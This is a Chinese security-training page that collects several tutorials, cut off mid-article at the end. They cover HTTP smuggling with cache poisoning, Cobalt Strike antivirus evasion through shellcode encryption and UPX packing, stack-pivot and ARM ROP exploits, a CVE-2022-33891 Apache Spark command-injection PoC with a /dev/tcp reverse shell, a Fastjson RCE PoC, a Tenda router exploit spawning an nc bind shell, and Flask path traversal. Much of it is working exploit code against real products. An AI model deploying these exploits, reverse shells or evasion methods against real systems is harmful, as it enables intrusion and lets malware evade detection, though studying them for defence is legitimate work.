蚁景网安 - 网络安全人才培养服务提供商

利用PHP的特性做免杀Webshell

Http-Sumggling缓存漏洞分析

当http请求走私和web缓存碰到一起会产生什么样的火花呢，让我们看看。在接触Http Sumggling 缓存漏洞前，我们需要先对Http Sumggling和Web缓存有所了解。什么是Web缓存 WEB缓存就是指网站的静态文件，比如图片、CSS、JS等，在网站访问的时候，服务器会将这些文件缓存起来，以便下次访问时直接从缓存中读取，不需要再次请求服务器。缓存位于服务器和客户端之间，通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应，常见的缓存点有：后端程序缓存服务器缓存浏览器缓存缓存服务器 CDN缓存最常见的无疑就是CDN及其类似的缓存服务器。而为了让缓存判断是否需要提供缓存内容，在http请求中会存在缓存键 X-Cache，缓存键叫什么决定于架构师，但都是一个概念。什么是web缓存漏洞如上图所示，假设小紫小黄小绿都在服务器划分的同一批特定请求中，那么小紫一开始访问服务器时，经过缓存键X-Cache: Miss的判定，是首次访问，所以直接连接到Server服务器，而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit，即只需连接Cache缓存服务器，不再连接到Server服务器，借此减少了Server服务器的运行负荷。这无疑是一个很不错的设计，但一旦被有心之士利用，那就会发生一些不好的事情了。如图，当攻击者改了一些包发送到后端，导致后端返回一些恶意数据，比如xss、注入等问题，而由于缓存的机制，后续的正常用户访问时就会读取缓存服务器的恶意缓存，这就是常见的web缓存漏洞，也叫缓存投毒。 Http Sumggling HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术，其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的。一般可分为以下几种： CL: Content-Length TE: Transfer-Encoding CL不为0的GET请求 CL-CL CL-TE TE-CL TE-TE 在mengchen@知道创宇404实验室的文章中有了十分详细的论述，我这就不再赘述。 https://paper.seebug.org/1048/#35-te-teHttp Sumggling 缓存漏洞靶场依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场。解法判断是否存在走私，确定为CL-TE。 POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 第一次请求为： POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 第二次请求为下半段： GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 可以看到存在302跳转。然后我们需要找到哪里进行缓存攻击，这里我以/resources/js/tracking.js进行攻击。可以看到X-Cache为miss，这样我们就可以利用修改，进行缓存攻击。先点击send post包 POST / HTTP/1.1 Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 195 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/ Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 访问到第一部分：然后在/resources/js/tracking.js send包：可以发现成功攻击，缓存键为miss，那下一个包应该就可以成功转接到exploit上，我们试试。对原界面进行抓包，多抓几次。发现host成功变为我们的exploit。后言漏洞越来越多，也会越来越复杂，不再是单一的某种漏洞这么简单，多种漏洞复合是未来标志。

红蓝对抗经验分享：CS免杀姿势

前言红队在HVV中一般使用钓鱼实现突破边界，蓝队通过钓鱼实现溯源反制，但是都离不开一个好的免杀马，这里分享一下自己的免杀过程，过火绒、360杀毒、windows defender以及赛门铁克等主流杀软都没问题。杀软工作原理杀软的查杀方式有多种，比如特征识别，是基于各个厂商收集的病毒样本，依据病毒样本提取的病毒特征，所以杀软的能力在一定程度上也取决于病毒库的大小，这种基于特征识别一般是基于静态。启发式的工作原理基本上可以定义为动态查杀或者是机器学习方法的一种查杀手段，会依据可能执行程序或者关注应用系统重要区域行为而做出的查杀行为。免杀手段修改特征码，可以根据污点检测的方式定位到触发杀软规则的病毒样本特征，修改明显的特征在一定程度上是可以实现免杀的。花指令免杀，在程序 shellcode 或特征代码区域增添垃圾指令，增加的垃圾指令不会影响文件执行，在动态查杀或者文件hash对比是校验会不一致。加壳，比如upx加壳等，一般文件落地后对比哈希值也可绕过杀软。二次编译，一般用于对shellcode进行二次编译bypass杀软。 poweshell免杀，但是一般防护软件或者系统本身正常调用powershell应用程序的时候都会产生告警，一般的安全设备是过不了的，需要在命令上使用手段绕过安全设备监测。免杀 CS生成payload 添加监听器，生成payload 下载go-strip.exe,混淆二进制go编译信息下载地址 https://cdn.githubjs.cf/boy-hack/go-strip/releases/download/v3.0/go-strip_0.3.4_windows_amd64.zip 运行脚本bypass go run main.go 核心内容就是加密方式 shellcode二层加密。这里没有直接放源码，因为担心样本被打标签，这里推荐几个项目，这里的话尽量使用go不建议python https://github.com/TideSec/BypassAntiVirushttps://github.com/admin360bug/bypasshttps://github.com/hack2fun/BypassAV/blob/master/bypass.cna这里我修改了生成的exe。安装火绒，查杀 CS上线加壳另外再加壳测试。地址 https://upx.en.softonic.com/简单的压缩壳 upx.exe -f Go_bypass.exe 加壳后生辰的exe文件大小为406KB 可以看到加壳之前的文件大小为1011kb 修改加壳后的文件名为upx_Go_bypass方便确认上线状态成功上线，继续查看加壳后的免杀效果此时火绒对于有加壳前和加壳后的文件都未报毒虽然加壳前的报毒了，但是加壳后的未报毒。赛门铁克也未报毒,其它杀软不放图了。但是需要注意的是别使用云沙箱检测。总结多测试总会有新发现，实践起来相对稍微容易一点儿，不过需要注意免杀之后的效果是最重要的。

关于栈迁移的那些事儿

一、前言现在的CTF比赛中很难在大型比赛中看到栈溢出类型的赛题，而即使遇到了也是多种利用方式组合出现，尤其以栈迁移配合其他利用方式来达到组合拳的效果，本篇文章意旨通过原理+例题的形式带领读者一步步理解栈迁移的原理以及在ctf中的应用。二、前置知识在笔者看来栈迁移的原理其实可以总结为一句话：因为栈溢出字节过少所以劫持rsp寄存器指向攻击者提前布置好payload的内存地址，已达到扩充溢出字节数的目的。以一个简单的demo1为例，程序源码以及编译指令如下所示： #include <stdio.h> char buf1[0x100]; void main() { char buf2[0x40]; puts("First: "); read(0, buf1, 0x100); puts("Second: "); read(0, buf2, 0x60); } // gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c 程序的流程非常简单存在两个输出，第一次是往全局变量buf1第二次是往局部变量buf2中写入。可以看到在第二次写入时存在明显的栈溢出漏洞，但是溢出的字节数只够写入0x18大小的字节，如果要构造gadget泄露内存地址，最短的ROP链也需要0x20的字节才可以在泄露内存后返回输入点继续执行程序。在这种情况就可以使用栈迁移的方式来扩大溢出字节数的大小，在前面说过栈迁移的本质就是劫持rsp寄存器指向攻击者提前布置好payload的内存地址，而劫持rsp寄存器的指令有很多，最常用的就是函数的退栈返回指令leave; ret。可以分成两部分来理解这条指令。首先执行的是leave指令，这条指令共执行了两个操作mov rsp, rbp和pop rbp，其中rsp寄存器的指向变化如下图所示，可以看到在执行完leave指令后rsp寄存器指向了返回地址；随后会执行ret指令，这条指令可以理解成pop rip。因为此时rsp寄存器指向rbp+8即函数的返回地址，所以pop给rip寄存器的就是函数的返在了解这条指令后不难发现，如果利用溢出漏洞可以覆盖rbp的值为一个已知地址，那么在执行过两次leave; ret指令后，就可以劫持rsp寄存器到任意地址，此时rsp寄存器指向的地址即为新的栈地址，只要事先在新地址处布置好想要执行的rop gadget，那么溢出字节过少这个问题就迎刃而解了。根据上面介绍的栈迁移原理，可以总结出使用栈迁移的一些必要条件存在可以劫持程序流和控制rbp寄存器的漏洞攻击者可以确定准确某一块具有读写权限的地址在进行栈迁移前需要在这块地址上进行rop gadget布局三、例题讲解 3.1 例题demo1 在理解了栈迁移的原理后可以通过这个demo来练练手了，进行编译时未开启Canary和PIE保护，NX保护开启防止写入shellcode 这里先将大体的利用思路总结出来，其中的实现细节实现会在下文中进行说明。未开启PIE保护，可以确定第一次写入的地址记作addr1，在此地址处布置rop gadget来实现泄露LIBC地址并返回主函数利用第二次写入存在的栈溢出漏洞覆盖rbp为addr1，rip为指令leave; ret的地址实现栈迁移返回主函数后利用ret2libc执行system("/bin/sh")获取shell 3.1.1 栈迁移布局首先我们利用第一次输入进行rop chain布局，并利用第二次栈溢出漏洞覆盖rbp为伪栈地址劫持rip为leave; ret指令地址，内存变化如下图所示。细心的同学会发现，我们在第一次进行rop chain布局前有一小段padding填充在前面，这是因为在我们进行栈迁移后，程序指令中所有对于栈的操作都会在伪栈内进行，而伪栈地址与got表地址相邻，填入这小段padding的目的就是为了避免程序在对伪栈进行读写数据时造成内存数据段内关键信息被覆盖，从而造成crash现象。在汇编中当我们要对局部变量进行操作时，一般都是用rbp栈底寄存器来定位，如下图所示。这一点在栈迁移中可以让我们构造出一个类似于链表的利用结构，每次布置rop chain时不断将rbp寄存器赋值为伪栈地址，然后跳转到主函数的写入函数处，因为局部变量寻址是通过rbp寄存器，所以我们可以不断进行rop chain的布局。在第一次进行rop chain的布局中控制rbp寄存器指向新的伪栈地址，那么在返回主函数后执行read函数时，写入地址就是新的伪栈地址，这时只要利用栈溢出漏洞去构造ret2libc即可getshell。 3.1.2 EXP from pwn import * p = process('./demo1') libc = ELF('./demo1').libc fake_stack = 0x601060 leave_ret = 0x40058E puts_plt = 0x400430 puts_got = 0x601018 pop_rdi = 0x4005f3 read_text = 0x400572 payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text) p.sendafter('First:', payload1) payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret) p.sendafter('Second:', payload2) puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) libc_base = puts_addr - libc.sym['puts'] system = libc_base+libc.sym['system'] sh = libc_base+libc.search('/bin/sh').next() success(hex(libc_base)) payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system) p.send(payload3) p.interactive() 3.2 例题demo2 在CTF比赛中通常只有一次写入机会，这边给出demo2的源码以及编译命令。 # include <stdio.h> # include <string.h> void main() { char buf[0x28]; puts("Hello Hacker."); read(0, buf, 0x40); } // gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c 与demo1一样demo2未开启Canary 与PIE保护，不同的是demo2中只有一次输入机会，并且溢出字节数只能覆盖返回地址。结合之前讲解的栈迁移技巧，首先在劫持rsp前需要进行rop chain布局，程序并没有一次可以往伪栈布局的机会，但是可以利用劫持程序流的方式来构造这一条件。观察程序的汇编代码如下图所示，在对局部变量buf进行寻址时使用了rbp寄存器，那么我们可以利用这一点配合栈溢出漏洞来实现伪栈上的rop布局。利用思路如下所示，其中的实现细节实现会在下文中进行说明。利用栈溢出漏洞劫持rbp寄存器为伪栈地址，返回地址为0x40054b(图中主程序的输入函数)，即可在返回主程序后对伪栈进行rop chain的布局对伪栈进行rop chain的布局，泄露LIBC地址并返回主函数返回主函数后利用栈溢出漏洞配合栈迁移+ret2libc完成getshell 3.2.1 伪栈rop布局第一次leave; ret是主函数退栈时执行的，利用栈溢出漏洞覆盖rbp为伪栈地址，rsp为主函数地址。当我们再次来到主函数的输入函数时即可在伪栈上布置rop chain。此时的内存变化如下图所示第二次leave; ret指令依然来自主函数退栈时执行，在伪栈上布置好rop chain后程序执行退栈操作，此时rbp寄存器内保存fack_stack-0x30的地址即rop chain地址+0x8的位置处，rsp寄存器被劫持到伪栈上，此时的内存变化如下图所示这里为什么是fake_stack-0x30的地址呢？因为在对局部变量buf进行寻址时使用到rbp寄存器，而本题中的buf地址来自[rbp-0x30]的地址，所以如果想要将rsp劫持到rop chain的位置，就需要对rbp寄存器赋值为fakc_stack-0x30，那么在执行第三次leave的时候，rsp寄存器就劫持到rop chain的地址处，此时的内存变化如下图所示泄露完LIBC地址后，劫持程序流返回主函数，利用read函数对伪栈进行最后一次rop布局，需要注意此时的写入地址是fake_stack-0x30，所以在栈迁移时rbp寄存器的值为fake_stack-0x30-0x30-0x8的地址处，再执行一次leave; ret时即可将rsp寄存器劫持到ret2libc rop地址处。内存变化如下图所示 3.2.2 EXP from pwn import * context.log_level = 'debug' p = process('./demo1') libc = ELF('./demo1').libc read_text = 0x40054B fake_rbp = 0x601500 pop_rdi = 0x4005d3 # pop rdi; ret; puts_plt = 0x400430 puts_got = 0x601018 leave_ret = 0x400567 # gdb.attach(p, 'b *0x400567') payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text) p.sendafter("Hello Hacker.", payload1) payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret) p.send(payload2) puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) libc_base = puts_addr - libc.sym['puts'] system = libc_base+libc.sym['system'] sh = libc_base+libc.search('/bin/sh').next() success(hex(libc_base)) payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret) p.send(payload3) p.interactive()

CVE-2022-33891 Apache spark shell 命令注入漏洞复现

简介 Spark 是用于大规模数据处理的统一分析引擎。它提供了 Scala、Java、Python 和 R 中的高级 API，以及支持用于数据分析的通用计算图的优化引擎。它还支持一组丰富的高级工具，包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作负载的 Spark 上的 Pandas API、用于机器学习的 MLlib、用于图形处理的 GraphX 和用于流处理的结构化流。影响版本 Apache spark version<3.0.3 3.1.1<Apache spark version<3.1.2 Apache Spark version>= 3.3.0 环境搭建目前官网上已经找不到老版本的docker镜像了搜索老版本的也是为空这里环境搭建的时使用的是github上私人仓库的镜像，下载地址 https://github.com/big-data-europe/docker-spark需要修改配置文件，下载存在漏洞的版本，修改dockerfile,V3.1.1 修改版本 docker-compose up -d 访问 http:10.10.10.32:8080 这里测试是不存在漏洞的，需要修改配置文件 echo "spark.acls.enable true" >> conf/spark-defaults.conf POC如下： #!/usr/bin/env python3 import requests import argparse import base64 import datetime parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script') parser.add_argument('-u', '--url', help='URL to exploit.', required=True) parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True) parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.") parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.') parser.add_argument('-lp', '--listeningport', help='Your listening host port.') parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test") args = parser.parse_args() full_url = f"{args.url}:{args.port}" def check_for_vuln(url): print("[*] Attempting to connect to site...") r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False) if r.status_code != 403: print("[-] Does not look like an Apache Spark server.") quit(1) elif "org.apache.spark.ui" not in r.content.decode("utf-8"): print("[-] Does not look like an Apache Spark server.") quit(1) else: print("[*] Performing sleep test of 10 seconds...") t1 = datetime.datetime.now() run_cmd("sleep 10") t2 = datetime.datetime.now() delta = t2-t1 if delta.seconds < 10: print("[-] Sleep was less than 10. This target is probably not vulnerable") else: print("[+] Sleep was 10 seconds! This target is probably vulnerable!") exit(0) def cmd_prompt(): # Provide user with cmd prompt on loop to run commands cmd = input("> ") return cmd def base64_encode(cmd): message_bytes = cmd.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_cmd = base64_bytes.decode('ascii') return base64_cmd def run_cmd(cmd): try: # Execute given command from cmd prompt #print("[*] Command is: " + cmd) base64_cmd = base64_encode(cmd) #print("[*] Base64 command is: " + base64_cmd) exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`" exploit_req = f"{full_url}{exploit}" print("[*] Full exploit request is: " + exploit_req) requests.get(exploit_req, allow_redirects=False) except Exception as e: print(str(e)) def revshell(lhost, lport): print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}") input("[!] When your listener is set up, press enter!") rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1" run_cmd(rev_shell_cmd) def main(): if args.check and args.revshell: print("[!] Please choose either revshell or check!") exit(1) elif args.check: check_for_vuln(full_url) # Revshell elif args.revshell: if not (args.listeninghost and args.listeningport): print("[x] You need a listeninghost and listening port!") exit(1) else: lhost = args.listeninghost lport = args.listeningport revshell(lhost, lport) else: # "Interactive" mode print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.") while True: command_to_run = cmd_prompt() run_cmd(command_to_run) if __name__ == "__main__": main() 如果失败的话重建项目，使用下面这个文件起docker可能是镜像的问题，不同的仓库内的Apache spark配置不同，这个版本是V3.0.0的 version: '2' services: spark: image: docker.io/bitnami/spark:3.0.0 environment: - SPARK_MODE=master - SPARK_RPC_AUTHENTICATION_ENABLED=no - SPARK_RPC_ENCRYPTION_ENABLED=no - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no - SPARK_SSL_ENABLED=no ports: - '8080:8080' 访问 http://192.168.0.112:8080/ 修改配置文件 docker exec -it 8a /bin/bash I have no name!@8a7873e77c46:/opt/bitnami/spark$ echo "spark.acls.enable true" >> conf/spark-defaults.conf I have no name!@8a7873e77c46:/opt/bitnami/spark$ cat conf/spark-defaults.conf 已追加配置,重启docker root@ubuntu:/home/ubuntu/Desktop/spark# docker-compose up -d 使用poc去生成payload，或者手动也可，但是执行的命令要使用echo写入执行且做base64编码后解码生效。但是看不到回显，直接反弹shell python 2.py -u http://192.168.0.112 -p 8080 --revshell -lh 192.168.0.121 -lp 4444 查看连接状态漏洞成因漏洞成因是由于Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。使用身份验证过滤器，这将检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL，则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后，恶意用户可能能够访问权限检查功能，该功能最终将根据他们的输入构建一个 Unix shell 命令并执行，导致任意 shell 命令执行。参考：https://spark.apache.org/security.html 修复建议 1.建议升级到安全版本，参考官网链接： https://spark.apache.org/downloads.html2.安全设备路径添加黑名单或者增加WAF规则(临时方案)。

Fastjson 代码执行 CVE-2022-25845

漏洞简介　　Fastjson 代码执行漏洞，该漏洞允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行　　影响版本：1.2.80及以下版本，即<= 1.2.80 漏洞复现　　我们利用 idea 创建 maven 项目搭建漏洞环境，在 pom 文件中添加 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.82</version> </dependency> 　　创建文件夹 com.example.fastjson 　　在下面添加两个 java 文件 package com.example.fastjson; import java.io.IOException; public class Poc extends Exception { public void setName(String str) { try { Runtime.getRuntime().exec(str); } catch (IOException e) { e.printStackTrace(); } } } 　　 package com.example.fastjson; import com.alibaba.fastjson.JSON; public class PocDemo { public static void main(String[] args) { String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}"; JSON.parse(json); } } 　　运行 PocDemo 漏洞分析 AutoType 　　我们知道在 fastjson 1.2.25 后设定了 https://github.com/alibaba/fastjson/wiki/enable_autotype 只有打开 autoType之后，fastjson 是基于内置黑名单来实现安全的，如此可能会造成安全风险，就是绕过https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*1ucxjwe*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA.. 　　不开启时，是基于白名单进行防护的，这个漏洞的产生就是未开启 autoType 时产生的。　　但是未开启 autoType 时是基于白名单，是很难实现代码执行的，所以我们就需要想办法 Bypass AutoType 默认禁用策略，可以实现调用任意类　　开启 autoType 后，最终调用的是 config.checkAutoType 　　com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int) 　　其中声明了各种被黑名单列入的类，是通过十六进制来记录各种类，可以在 https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*frgjs5*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..，看到具体类的名称 Throwable 　　我们注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同样调用了 checkAutoType 　　同时我们可以发现在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会检测目标类中是否属于Throwable 的扩展，之后就会调用 ThrowableDeserializer.deserialize() 　　所以初步得出结论，如果目标类属于 Throwable 的扩展类，就可以实现打开autoType的类似操作，去调用任何类　　为了验证这个猜测，我们修改一下文件 package com.example.fastjson; import java.io.IOException; public class Poc extends Error { public void setName(String str) { try { Runtime.getRuntime().exec(str); } catch (IOException e) { e.printStackTrace(); } } } 　　依然可以利用成功　　继续关注函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会调用 createException 去创建反序列化函数　　com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException 　　最后还是在函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 中实现了代码执行　　如此整个漏洞就分析完成了漏洞修复　　官方提供了以下四种https://github.com/alibaba/fastjson/wiki/security_update_20220523 　　● 升级到最新版本1.2.83 　　● safeMode加固　　● 升级到fastjson v2 　　● noneautotype版本总结反思　　整个漏洞的分析花了很多时间，根据参考文章 https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ 来来回回加断点调试了很久。对这个漏洞做一个自己的总结。在默认未开启 AutoType 时，Fastjson 是基于白名单的获取外部类，通过搜索checkAutoType 发现ThrowableDeserializer#deserialze 中的调用，当然也不止这一处，只是这处能进一步的利用，通过满足类属于 Throwable 的扩展类就可以触发，最后实现代

ARM PWN基础教程

一、前言在CTF比赛中，我们所能接触到的大部分都是x86 x86_64架构的题目，而在我开始接触IOT方向的研究以后发现智能设备所用到的则是ARM和MIPS架构为主。本篇文章在介绍前置知识的基础上通过CTF的ARM架构类型题带读者更好的入门ARM PWN的世界。二、前置知识指令集 Intel和ARM之间的区别主要是指令集，Intel采用复杂指令集而ARM则是精简指令集，精简指令集通过减少每条指令的时钟周期来缩短执行时间可以更快的执行指令，但因为指令较少因此在实现功能时会显得比Intel冗长。寄存器寄存器是ARM架构的一个重点，在x86架构上指令可以直接对内存的数据进行操作，而在ARM架构中必须将内存的数据放入寄存器中再进行操作。而寄存器的数量取决于ARM的版本，而ARM32架构下共30个寄存器： R0在常规操作中可用于存储临时值，也可以用于存储函数的第一个参数或返回结果在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中 R7寄存器在函数调用中负责存储系统调用号 R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用 R13寄存器SP(堆栈指针)指向堆栈的顶部 R14寄存器LR(链接寄存器)在进行函数调用时，LR寄存器内保存调用函数的下一条指令地址，用于被调用函数(子函数)结束工作后返回调用函数(父函数) R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址，与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。 ARM指令这里引用 eack师傅在ARM基础知识PPT中所列出指令的表格，在有了X86架构的基础后去看下面这些指令还是很好理解的。指令功能指令功能MOV移动数据EOR按位异或MVN移动数据并取反LDR加载ADD加法STR存储SUB减法LDM加载多个MUL乘法STM存储多个LSL逻辑左移PUSH入栈LSR逻辑右移POP出栈ASR算术右移B跳转ROR右旋BLLink+跳转CMP比较BX分支跳转AND按位与BLXLinx+分支跳转ORR按位或SWI/SVC系统调用这里需要单独介绍一下LDR和STR两个指令 LDR用于将某些内容从内存加载到寄存器中，例如LDR R2, [R0]从R0寄存器中存储的内存地址的值读入R2寄存器 STR用于将某些内容从寄存器存储到内存地址中，例如STR R2, [R1]从R2寄存器中将值存储到R1寄存器中的内存地址中三、例题讲解这里以jarvisoj 的 typo 例题进行讲解，题目可通过下方链接获得 https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo 查看题目保护，arm-32-little架构的静态链接文件未开启PIE和Canary保护，存在NX保护无法同时写入shellcode来getshell amalll@A-M:~/AM$ checksec pwn [*] '/home/amalll/AM/pwn' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000) amalll@A-M:~/AM$ file pwn pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped 因为程序去除了符号表的关系，我们可以使用rizzo插件来恢复符号表，可以从程序中发现system和/bin/sh等关键信息地址，同时在跟随程序流程注意到一处很明显的栈溢出漏洞，getshell所需的条件都满足了。这边的利用思路就是通过栈溢出漏洞覆盖程序的返回地址，在ARM架构下是覆盖要POP给PC寄存器的地址值，覆盖为一段可以同时控制R0和PC寄存器的GADGET，因为在ARM架构下函数约定R0寄存器作为函数的第一个参数存储，所以我们可以控制R0寄存器指向/bin/sh地址，PC寄存器指向system函数的地址，即可GetShell。 +-------------+ | "a" * 112 | +-------------+ | pop_gadget | <- return address +-------------+ | /bin/sh | +-------------+ | 0 | +-------------+ | system_addr | +-------------+ 思路确定后，接下来就是具体的实现步骤，首先是栈溢出的偏移是多少，这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移，首先用qemu-user启动二进制程序 qemu-arm-static -g 1234 -L . ./pwn 然后启动gdb-multiarch，执行远程连接命令即可开始动调，后面的操作方式和x86架构的相同，使用cyclic生成过长字符然后通过溢出覆盖字符串确定偏移最后确定偏移为112，这里需要注意的是在ARM架构中如果跳转的地址为奇数时会进入Thumb模式，进入Thumb模式后地址的最低位会从1变成0，所以如果通过此方法算出的地址值有错误时，可以通过查看$cpsr寄存器的低第六位值是否为1来判断程序是否发生模式切换，而此处程序并未发生模式切换，所以最终我们的偏移就是112。确定了偏移后，还需要一个可以同时可以控制R0和PC的gadget，这里使用ropper在程序中搜索到如下的一段gadget 0x00020904: pop {r0, r4, pc}; EXP from pwn import * p = process(['qemu-arm-static',"-L", "./", "./pwn"]) pop_r0_r4_pc = 0x00020904 system = 0x000110B4 sh = 0x006C384 payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system) p.sendafter("Input ~ if you want to quit", "\n") p.send(payload) p.interactive() 四、实战演示这边以CVE-2022-30476为例进行实战arm栈溢出利用演示，关于固件仿真的部分内容在复现Tenda 2018年的cve漏洞时就有所介绍这边就不过多赘述，这边还是以实际情况的漏洞复现为主。 web服务在获取firmwallEn参数时未进行边界检测直接将参数值通过strcpy函数赋予dest变量，从而造成栈溢出漏洞。我们通过cyclic测得栈溢出偏移为44，这里就涉及到我们刚才所说的Thumb模式切换的问题，实际的溢出偏移应为48。随后我们可以使用vmmap命令查看qemu-user的内存布局，可以得到libc库的基地址。这边需要特别说明一下，新版本的pwndbg中关于qemu的兼容性较差，所以只能采用旧版本的插件进行内存布局查看。与我们在ctf例题中所阐述的ROP构造思路相同，这里也是需要寻找能同时控制r0和pc两个寄存器的gadget，很幸运的是此次寻找的gadget并未以\x00结尾凑齐所有的利用条件后，编写EXP对webserver服务进行栈溢出攻击 import requests from pwn import * url = 'http://192.168.2.1/goform/SetFirewallCfg' libc = ELF("./lib/libc.so.0") base = 0xff592000 system = base+libc.sym['system'] pop_r0_pc = base+0x0003db80 # pop {r0, pc}; stack = 0xfffef2c0 pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system) pl+= 'nc -lp 8888 -e /bin/sh;\x00' data = {'firewallEn':pl} requests.post(url, data=data) 推荐实验： https://www.yijinglab.com/expc.do?ce=682a3471-bce7-4d12-b9db-b25df36b1246

Flask send_file函数导致的绝对路径遍历

平时接触到的 python 项目并不多，对 python 的代码审计更是没有接触，偶然朋友发来了一个漏洞 Flask send_file函数导致的绝对路径遍历，感觉打开了新世界的大门，于是就以一个初学者的角度，进行复现分析一下。详情也可以根据 https://github.com/github/securitylab/issues/669 进行分析学习 send_file 的妙用在以 flask 框架开发的系统中，为了直接实现用户访问某一个 URL 时就可以下载到文件，我们就使用 send_file 来实现 from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile(): path = "test.txt" return send_file(path) if __name__ == '__main__': app.run() 我们看到如此运行的效果是直接返回了文件的内容，浏览器并没有识别成一个文件下载下来。要想让浏览器识别成为文件下载的话，只需要加上 as_attachment=True from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile(): path = "test.txt" return send_file(path, as_attachment=True) if __name__ == '__main__': app.run() 　　　　当下载的文件名是中文时 from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile(): path = "测试.txt" return send_file(path, as_attachment=True) if __name__ == '__main__': app.run() 　　 Content-Disposition: https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition在常规的 HTTP 应答中，Content-Disposition 响应头指示回复的内容该以何种形式展示，是以内联的形式（即网页或者页面的一部分），还是以附件的形式下载并保存到本地。其可以是inline(默认值,所以可以不指定)或者是attachment,attachment表示附件,浏览器看到这个值一般会弹出一个保持文件的确认框,或者像chrome直接下载。　　漏洞分析漏洞的触发是在 send_file 中，我们跟进看一下 flask.helpers.send_file 继续跟进查看 werkzeug.utils.send_file 我们在本地构造一个简单的语句进行尝试 >>> import os.path >>> _root_path = "path/to/mySafeStaticDir" >>> path_or_file = "/../../../../../../../etc/passwd" >>> 